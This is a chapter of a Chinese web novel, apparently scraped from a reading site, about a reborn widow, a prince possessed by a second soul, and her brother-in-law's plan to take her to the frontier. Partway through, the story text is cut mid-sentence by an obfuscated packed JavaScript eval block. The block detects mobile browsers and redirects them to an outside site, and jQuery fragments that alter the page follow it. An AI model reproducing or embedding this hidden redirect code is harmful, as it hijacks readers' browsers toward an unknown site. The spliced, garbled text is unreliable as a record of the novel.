24. 第 24 章
作品:《限制文女主但全员重生》 “放肆…你到底是……谁派来的!”萧策的声音含糊不清,很快又被堵了回去。
“你松开,本宫不让你走,至少把身上擦干……唔。”
“你怎么咬人啊!你别……”
怎么会有这么无礼的事,和这么粗鲁的女人。
萧策抿着唇,不只脸颊,连耳朵都红了,胸膛剧烈地起伏。他一定是疯了,要不就是脑子摔坏了。
在李清越动手扎死那头狼之前,他绝不会相信对方能……做出那般荒谬无礼的事,但事实上她有这个力气手段。
萧策的幻想碎了,他以前想过新婚洞房花烛,想过在寝宫柔软的床榻,一切美好舒适,喜欢的女子温柔娇羞……
而不是被另一个人蹭得湿漉漉的,还是在一个临时休息的破地方。
半晌,萧策深深吸了口气,心里安慰自己,是臆症,他一定是磕到了头,找御医开方子吃过药就会好。
[你进度怎么这么慢,你还帮着萧凌羽欺负她,你有病啊?]
另一个声音似乎也能看到他的记忆,他们不仅共享记忆,甚至是身体的控制权利,所以他才会突然拉着李清越跑,想保护她让对方先走。
疯子!
萧策宁愿他真的病了,而不是陷在这些乱七糟八的事里,身体里还有另一个脾气极差不听抱怨的声音。
他猛地睁开眼睛,冷声道:“闭嘴!”
[你在心里说我也能听到,外头的侍卫以为你发癫了,一个人胡言乱语的神经。]
萧策的瞳孔闪烁,短暂的挣扎之后恢复平静。
一体双魂这种是有过记载,但驱邪的方式太过残暴,他暂时不想暴露,更何况多出来的这一魂,明显不属于这个世界,那个陌生的他有着完全不同的经历。
冷静之后他通过大量有关李清越的记忆里,梳理出一些有用的消息,如果可以控制对方,他甚至不想让御医插手。
他平静下来,处理好手上的伤口,在心里和另一个自己交流:[既然你这么嫌弃这里就赶紧回去。]
[你以为孤不想?孤的皇后现在不知道多担心,孤能回去用你提醒!]
通过那些混乱的记忆看,他所谓的皇后,现在的谢夫人李清越并不在意这位孤家寡人,人家明显是神志不清,一时犯了错。
连名字都不敢留下,匆匆穿好衣裙就跑,后来更是……
萧策不想承认记忆里纠缠的人是另一个自己,太丢人了,还不如萧凌羽,只是萧凌羽纠缠谢玄的时候,谢玄还没成亲。
对方似乎也能感知到他的想法,鄙夷道:[去抢自己喜欢的人有什么的丢人的,抢不到还嘴硬贬低才可耻,孤和孤的皇后恩爱无双,你这样的孤家寡人不会明白。]
[孤要去看她,这个世界她似乎过得不好。]
萧策确定他能感觉到自己的所思所想,闭上眼睛缓缓吐出郁气,把门锁死坐回去试图压制另一个声音,想试试对方还能不能再控制自己的身体。
-
秋猎的魁首是谢昀。
连李清越都有些惊讶,谢玄和谢昀一武一文,她以为谢昀没什么天赋,他平日里还是太低调了,连自己都以为他骑射算不得精通。
谢昀遥遥望向远处的倩影,眉目柔和,唇角弯起极浅的弧度。
很快,就可以带她离开了。这次的地方是他用心选的,边塞议和之后趋于平稳,近些年不会有动乱,这件事前世他已经验证过了。
谢玄驻守过的地方,他再过去也合理,而且那里山高水远,盛京的手决计伸不过去。
李清越见他面色平静,连微笑都很克制,没有飞扬的少年心气,的确是沉稳了许多。
果然长兄不在,底下的孩子就会迅速成长起来。
李清越脸色的笑意,在听到谢昀自请带家眷离京时候有一瞬的僵硬,心中慌乱:他没成家哪来的家眷?不会是指她这个没有血亲的寡嫂吧?
“准。”高台之上的声音,让李清越彻底寒了心。
她连怎么回去的都不清楚,呆呆地看着桌案递过来的热茶,抬手示意莲星出去,盯着谢昀:“你什么时候计划好的。”
李清越还记得他问自己愿不愿意去边塞,她当时没在意,谢昀在盛京前途似锦,又是文官,几乎是不可能会去边塞。
现在想来,谢昀一定早有准备,至少是在秋猎之前,为什么一定要走,明昭公主得了教训,也不可能出宫来找麻烦,只要她不进宫,就能井水不犯河水。
谢昀的余光一直在她身上,立刻应道:“姐姐落水之后,我就有这个想法,之前担心姐姐离开盛京不喜欢,所以昨天特意试探……姐姐生我气吗。”
她的反应和谢昀预料的不同,她似乎并不开心……
李清越这才想起自己深爱谢玄,不应该排斥他驻扎生活的地方,但是她现在说不出高兴两个字,于是板起脸来,冷冷道:“你知不知道你在做什么?离开盛京你的仕途怎么办!”
“我……”谢昀微怔,知晓她全然为自己思虑担忧,心中情意翻涌,一时竟说不出话来。
谢昀早就不想做什么贤臣名仕,他不要穷其一生,在史书留下短短一行字,他只想和自己喜欢的人相守一生。
如果李清越不肯接受自己,他也愿意以亲人的身份一直守在她身边。
李清越见他神色动容,继续道:“你可曾想过母亲,她身体不好,怎么能受得了这样的奔波。”
谢昀想说母亲身体没那么差,但他带里李清越离开本就另有目的,一时心绪激荡:“母亲若是不愿留在盛京也无事,没有人会为难母亲,舅父一家也可以照顾一二。”
暮色之中,谢昀鼓起勇气,抓住面前人的手,触碰的指尖微微发烫,他道:“姐姐你跟我走吧,我们离开这里。”
这话怎么越说越奇怪,带家眷不带母亲只带寡嫂,这传出去像话吗。
不知情的人还以为她同谢昀有什么不伦私奔了。
李清越看了他一眼,把手抽出来:“你胡说什么,我发过誓要替夫君尽孝,绝不会离开母亲。”
谢昀一腔情意,被那声“夫君”浇灭,脸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370076|182549||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
色发白:“姐姐,我……”
李清越冷了脸色:“你出去吧,我想一个人待着。”
谢昀见她背过身去,心知自己轻率,让她为自己的仕途担忧,为母亲操心,不敢再打扰她。
李清越的确担忧操心,她的几间铺子刚刚好转,谢家的事也已经理顺了,现在让她走,就像书生好不容易按题目写出一篇满意的锦绣文章,但是交卷的先一刻,突入换了考题。
她自认不算谢昀的家眷。
算了,谢昀的调令是明年春天,到时候天寒地冻,谢氏的身体肯定受不了,她顺势留下照顾,总能想到办法……
一直到回谢府,李清越也没搭理谢昀。
她有时候实在勉强不来自己,何况她有生气的理由,谢氏知道这事,也发了一通脾气。
李清越不同情谢昀,等谢氏骂不动才出来劝两句。
谢昀同她一道离开谢氏的院子,衣袖被轻轻拽了一下,李清越没回头,但谢昀同她走得很近,视线稍斜一眼便能看到对方,他竟还笑得出来?
李清越停下脚步看他:“做什么?”
“方才,谢谢姐姐为我说话。”他唇角上扬,脸上多了些温和,完全不像是刚刚挨骂的人。
李清越有些错愕,她刚认识谢昀想好好相处的时候,谢昀心高气傲,没有一件事领情,替她哥单方面拒绝这门婚事,现在倒是处处想着她这个嫂嫂。
谢昀心里温暖,想到能带她离开,就算母亲用家法他也受得了。
他清楚李清越不高兴,因为自己轻率仕途,即便如此她也不忍母亲对自己斥责,出言宽慰劝说。
李清越不想理他:“我只是不想让母亲生气伤了身子,不是在为你说话。”
谢昀看着她快步离去的背影,忍住没有追上去。
夜色浓重,李清越躺在床上翻来覆去睡不着,她点了烛台,走到挂着匕首的木架前,将它取下来。
李清越害怕谢氏态度软化,一回来便吩咐赵嬷嬷在谢氏面前煽风点火。
今天谢氏的态度看似激烈,最后其实隐隐有妥协的意思了。
万一,谢昀真说动了谢氏,她岂不是没有理由在留下来,可离开谢家这些东西跟她再没有关系,真是麻烦。
还是得想办法做做恶人,破坏他们母子关系才行。
透气的窗口半开,吹起来一丝凉意,李清越一个激灵,转身将窗户合上。
窗外,树影浮动,茂密的枝桠上萧策在脑海同另一个自己对话:[看不到了,可以走了吧。]
[谢昀倒是想得挺美,还要带她去边塞?你让影去扎他两刀,让他修养半年断了他的念想。]
另一个声音明显更加暴躁。
萧策实在被烦得没办法,最可怕的是,对方的记忆会影响他,那些荒谬的画面混合着现实中的事出现在梦里,一遍遍冲刷他的理智和情感。
其实,他有一点点想过来。
在萧策心里,李清越和他在另一个世界里看到的不同,但又忍不住将她和记忆看到的画面融合。